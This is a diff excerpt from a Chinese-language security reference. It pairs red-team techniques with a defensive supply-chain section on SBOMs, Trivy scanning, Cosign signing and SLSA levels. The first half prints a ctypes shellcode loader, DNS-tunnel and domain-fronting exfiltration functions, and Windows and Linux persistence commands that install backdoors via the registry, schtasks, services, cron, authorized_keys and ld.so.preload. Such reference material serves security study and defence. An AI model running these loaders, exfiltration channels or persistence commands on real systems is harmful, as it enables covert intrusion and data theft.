|
|
248
|
+
```python
|
|
249
|
+
import ctypes
|
|
250
|
+
|
|
251
|
+
shellcode = b"\xfc\x48\x83..." # msfvenom 生成
|
|
252
|
+
|
|
253
|
+
# Windows
|
|
254
|
+
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
|
|
255
|
+
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
|
|
256
|
+
ctypes.windll.kernel32.RtlMoveMemory(ptr, shellcode, len(shellcode))
|
|
257
|
+
ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### 隐蔽通信
|
|
261
|
+
```python
|
|
262
|
+
# DNS 隧道
|
|
263
|
+
def dns_exfil(data, domain):
|
|
264
|
+
encoded = base64.b32encode(data.encode()).decode()
|
|
265
|
+
for chunk in [encoded[i:i+63] for i in range(0, len(encoded), 63)]:
|
|
266
|
+
dns.resolver.resolve(f"{chunk}.{domain}", 'A')
|
|
267
|
+
|
|
268
|
+
# 域前置
|
|
269
|
+
def domain_fronting(real_host, cdn_domain, data):
|
|
270
|
+
headers = {"Host": real_host}
|
|
271
|
+
requests.post(f"https://{cdn_domain}/api", json=data, headers=headers)
|
|
272
|
+
```
|
|
273
|
+
|
|
274
|
+
## 持久化
|
|
275
|
+
|
|
276
|
+
### Windows
|
|
277
|
+
```powershell
|
|
278
|
+
# 注册表
|
|
279
|
+
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\backdoor.exe"
|
|
280
|
+
|
|
281
|
+
# 计划任务
|
|
282
|
+
schtasks /create /tn "Update" /tr "C:\backdoor.exe" /sc onlogon
|
|
283
|
+
|
|
284
|
+
# 服务
|
|
285
|
+
sc create backdoor binPath= "C:\backdoor.exe" start= auto
|
|
286
|
+
|
|
287
|
+
# WMI 事件订阅
|
|
288
|
+
# 进程启动时触发
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
### Linux
|
|
292
|
+
```bash
|
|
293
|
+
# Crontab
|
|
294
|
+
echo "* * * * * /tmp/backdoor" >> /var/spool/cron/root
|
|
295
|
+
|
|
296
|
+
# SSH 密钥
|
|
297
|
+
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
|
|
298
|
+
|
|
299
|
+
# 服务
|
|
300
|
+
# 创建 systemd service
|
|
301
|
+
|
|
302
|
+
# LD_PRELOAD
|
|
303
|
+
echo "/tmp/evil.so" >> /etc/ld.so.preload
|
|
304
|
+
```
|
|
305
|
+
|
|
306
|
+
## 工具清单
|
|
307
|
+
|
|
308
|
+
| 工具 | 用途 |
|
|
309
|
+
|------|------|
|
|
310
|
+
| Sliver | 开源 C2 框架 |
|
|
311
|
+
| Metasploit | 渗透测试框架 |
|
|
312
|
+
| Cobalt Strike | 商业 C2 |
|
|
313
|
+
| Impacket | Windows 协议工具 |
|
|
314
|
+
| CrackMapExec | 批量横向 |
|
|
315
|
+
| Mimikatz | 凭证提取 |
|
|
316
|
+
| Rubeus | Kerberos 工具 |
|
|
317
|
+
| BloodHound | AD 路径分析 |
|
|
318
|
+
|
|
319
|
+
## 供应链安全
|
|
320
|
+
|
|
321
|
+
### 供应链攻击向量
|
|
322
|
+
```
|
|
323
|
+
源代码 → 构建 → 制品 → 分发 → 部署 → 运行
|
|
324
|
+
│ │ │ │ │ │
|
|
325
|
+
投毒 篡改 后门 劫持 提权 横向
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
| 阶段 | 攻击方式 | 示例 |
|
|
329
|
+
|------|----------|------|
|
|
330
|
+
| 源代码 | 依赖投毒 | event-stream、ua-parser-js |
|
|
331
|
+
| 构建 | CI/CD 劫持 | SolarWinds、CodeCov |
|
|
332
|
+
| 制品 | 恶意包 | PyPI/npm 钓鱼包 |
|
|
333
|
+
| 部署 | 配置篡改 | K8s YAML 注入 |
|
|
334
|
+
| 运行 | 容器逃逸 | 特权容器、内核漏洞 |
|
|
335
|
+
|
|
336
|
+
### SBOM + 依赖扫描
|
|
337
|
+
```bash
|
|
338
|
+
# SBOM 生成 (Syft)
|
|
339
|
+
syft nginx:latest -o cyclonedx-json > sbom.json
|
|
340
|
+
|
|
341
|
+
# 漏洞扫描 (Trivy)
|
|
342
|
+
trivy image --severity HIGH,CRITICAL nginx:latest
|
|
343
|
+
trivy fs --scanners vuln,secret,misconfig .
|
|
344
|
+
|
|
345
|
+
# 依赖扫描 (Grype)
|
|
346
|
+
grype sbom:./sbom.json
|
|
347
|
+
```
|
|
348
|
+
|
|
349
|
+
### 签名验证 (Sigstore/Cosign)
|
|
350
|
+
```bash
|
|
351
|
+
cosign sign --key cosign.key myregistry/myapp:v1.0
|
|
352
|
+
cosign verify --key cosign.pub myregistry/myapp:v1.0
|
|
353
|
+
cosign attach sbom --sbom sbom.json myregistry/myapp:v1.0
|
|
354
|
+
cosign verify-attestation --key cosign.pub myregistry/myapp:v1.0
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
### SLSA 等级
|
|
358
|
+
```
|
|
359
|
+
Level 1: 文档化构建 Level 2: 防篡改+签名来源
|
|
360
|
+
Level 3: 安全平台+隔离构建 Level 4: 双方审查+密封构建
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
### 供应链安全检查清单
|
|
364
|
+
```yaml
|
|
365
|
+
源代码:
|
|
366
|
+
- [ ] 分支保护 + 代码审查 + 依赖锁定 + 密钥泄露扫描
|
|
367
|
+
构建与制品:
|
|
368
|
+
- [ ] 托管CI/CD + 隔离构建 + 生成SBOM + 签名制品 + 漏洞扫描
|
|
369
|
+
部署与运行:
|
|
370
|
+
- [ ] 验证签名(Cosign/SLSA) + 准入控制(Kyverno/OPA) + 运行时监控
|
|
371
|
+
```
|
|
372
|
+
|
|
373
|
+
---
|
|
374
|
+
|